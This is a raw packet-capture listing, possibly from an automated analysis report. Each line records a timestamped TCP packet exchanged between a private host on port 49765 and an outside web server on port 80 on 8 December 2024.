Dec 8, 2024 18:06:11.721721888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.721935987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.721977949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.722610950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.722651005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.722683907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.722724915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.723628044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.723668098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.723731041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.723773003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.724733114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.724781990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.724811077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.724855900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.725683928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.725720882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.725986958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.726027966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.726773977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.726814985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.726891994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.726933002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.727756023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.727801085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.727925062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.727958918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.728733063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.728775024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.728853941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.728893995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.730086088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.730127096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.730302095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.730344057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.731120110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.731173038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.731182098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.731220007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.731966019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.732007980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.732122898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.732162952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.732819080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.732860088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.732929945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.732969999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.733877897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.733920097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.733985901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.734030008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.734915018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.734957933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.735019922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.735060930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.735968113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.736011028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.736052036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.736094952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.736903906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.736947060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.737032890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.737075090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.737948895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.737992048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.738020897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.738059044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.738960028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.739001989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.739090919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.739132881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.739990950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.740031958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.740303993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.740345001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.740989923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.741031885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.741103888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.741143942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.742036104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.742077112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.742165089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.742207050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.743443966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.743486881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.743521929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.743562937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.744360924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.744405031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.744410992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.744453907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.745105028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.745151043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.745162010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.745203972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.746124983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.746167898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.746403933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.746443987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.747150898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.747194052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.747325897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.747366905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.748258114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.748302937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.748400927 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.748445034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.749177933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.749217033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.749334097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.749370098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.750217915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.750262976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.750339985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.750384092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.751302958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.751342058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.751398087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.751440048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.752305984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.752330065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.752348900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.752360106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.753243923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.753282070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.891738892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.891804934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.891849041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.891897917 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.892260075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.892302036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.892383099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.892424107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.893249989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.893296957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.893630981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.893673897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.893781900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.893821001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.894699097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.894742966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.894743919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.894783020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.895813942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.895857096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.896025896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.896064997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.896811008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.896851063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.896950960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.896991014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.897746086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.897787094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.897845030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.897887945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.898741961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.898783922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.898812056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.898852110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.899749041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.899791002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.899846077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.899888992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.900799036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.900844097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.900913000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.900959015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.901916981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.901963949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.902009010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.902050018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.902817011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.902857065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.902906895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.902946949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.903987885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.904047012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.904099941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.904143095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.904859066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.904897928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.904994965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.905031919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.905878067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.905916929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.906104088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.906146049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.906925917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.906965971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.907000065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.907041073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.907913923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.907954931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.908003092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.908041000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.908987999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.909033060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.909161091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.909207106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.909965992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.910008907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.910084963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.910128117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.910969973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.911010981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.911112070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.911154985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.912038088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.912081003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.912147999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.912194967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.913064003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.913109064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.913135052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.913175106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.914051056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.914109945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.914252996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.914299011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.915067911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.915111065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.915179014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.915218115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.916187048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.916224957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.916320086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.916358948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.917398930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.917438030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.917543888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.917587042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.918292046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.918334007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.918430090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.918473005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.919255972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.919297934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.919332027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.919378996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.920206070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.920244932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.920337915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.920383930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.921210051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.921253920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.921257973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.921295881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.922224045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.922266960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.922357082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.922398090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.923249006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.923289061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.923290968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.923332930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.924271107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.924315929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.924331903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.924371004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.925297022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.925327063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.925339937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.925365925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.926317930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.926359892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.926439047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.926481962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.927357912 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.927392960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.927500010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.927544117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.928352118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.928394079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.928457022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.928499937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.929404974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.929446936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.929722071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.929769993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.930434942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.930476904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.930500031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.930536985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.931391001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.931430101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.931687117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.931730032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.932445049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.932482958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.932571888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.932610989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.933478117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.933518887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.933597088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.933640003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.934555054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.934602976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.934747934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.934793949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.935516119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.935553074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.935648918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.935692072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.936537981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.936579943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.936645031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.936686993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.937562943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.937603951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.937606096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.937650919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.938582897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.938627005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.938683987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.938724995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.939599991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.939644098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.939703941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.939744949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.940608025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.940649986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.940716028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.940759897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.941653967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.941699028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.941705942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.941746950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.942672014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.942715883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.942765951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.942806005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.943691015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.943733931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.943804979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.943849087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.944724083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.944763899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.945084095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.945122004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.084137917 CET	80	49765	31.41.244.11	192.168.2.4
